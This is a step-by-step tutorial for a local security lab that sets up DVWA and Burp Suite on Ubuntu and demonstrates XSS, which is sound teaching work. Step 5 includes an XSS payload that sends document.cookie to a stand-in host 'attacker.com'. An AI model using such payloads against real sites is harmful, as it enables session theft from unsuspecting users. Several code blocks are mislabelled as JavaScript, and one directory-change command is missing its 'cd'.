# ✅ STEP-BY-STEP XSS ATTACK SIMULATION (Ubuntu Version)

---

### 🔧 **Step 1: Set Up Your Local Lab on Ubuntu**

#### 1.1 Install Required Packages

Open your terminal and run:

```javascript
sudo apt update
sudo apt install apache2 mysql-server php php-mysqli git unzip
```

#### 1.2 Start Apache and MySQL Services

```javascript
sudo systemctl start apache2
sudo systemctl start mysql
sudo systemctl enable apache2
sudo systemctl enable mysql
```

---

### 📦 **Step 2: Download and Configure DVWA**

#### 2.1 Clone DVWA Repository

```javascript
/var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA
```

#### 2.2 Configure Database

```javascript
sudo mysql
```

Inside MySQL shell:

```javascript
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```

#### 2.3 Edit DVWA Config

```javascript
cd /var/www/html/DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php
```

Modify these lines:

```javascript
$_DVWA['db_user'] = 'dvwauser';
$_DVWA['db_password'] = 'password';
```

#### 2.4 Set Permissions

```javascript
sudo chmod -R 755 /var/www/html/DVWA/hackable/uploads/
```

---

### 🌍 **Step 3: Set Up and Launch DVWA in Browser**

1. Open browser and go to: `http://localhost/DVWA/setup.php`
    
2. Click **"Create / Reset Database"**
    
3. Log in:
    
    * **Username**: admin
        
    * **Password**: password (default)
        
4. Go to **DVWA Security** tab, set **security level to Low**
    

---

### 🛡️ **Step 4: Install and Configure Burp Suite**

#### 4.1 Install Burp Suite Community Edition

* Download from: https://portswigger.net/burp/communitydownload
    
* Give execution permission:
    

```javascript
chmod +x burpsuite_community_linux.sh
./burpsuite_community_linux.sh
```

#### 4.2 Configure Firefox Proxy

* Open Firefox → Settings → Network Settings
    
* Set Manual Proxy:
    
    * HTTP Proxy: `127.0.0.1`
        
    * Port: `8080`
        
    * Check: "Use this proxy for all protocols"
        

#### 4.3 Install Burp CA Certificate in Firefox

* In Firefox, visit: `http://burp`
    
* Download the CA certificate
    
* Go to **Settings → Certificates → Authorities → Import** and trust the certificate
    

---

### ⚔️ **Step 5: Perform XSS Attack in DVWA**

#### 5.1 Go to DVWA → Click “XSS (Stored)” or “XSS (Reflected)”

#### 5.2 Inject Payload

In input field:

```javascript
<script>alert('XSS Works!');</script>
```

Submit → **Alert box should appear**

Try advanced:

```javascript
<script>document.location='http://attacker.com?cookie='+document.cookie</script>
```

💡 For simulation only. Replace with **Burp Collaborator URL** or a dummy address.

---

### 🔍 **Step 6: Use Burp Suite to Intercept and Modify Request**

1. Go to **Proxy &gt; Intercept** in Burp → Ensure “Intercept is ON”
    
2. Submit the form again in DVWA
    
3. Request will be captured → Click **"Send to Repeater"**
    
4. Modify payload in Repeater → Re-send → Observe changes
    

---

### 🧪 **Step 7: Analyze Output**

* Use Firefox **Dev Tools (F12)** → Console → `document.cookie`
    
* Observe the execution and any captured data
    
* Take screenshots of:
    
    * Input form
        
    * Alert box
        
    * Burp Repeater
        
    * Console output
        

---

### ⚠️ Ethical Note

* Only test on your local Ubuntu/DVWA installation.
    
* Never test XSS on live websites or without written permission.
    

---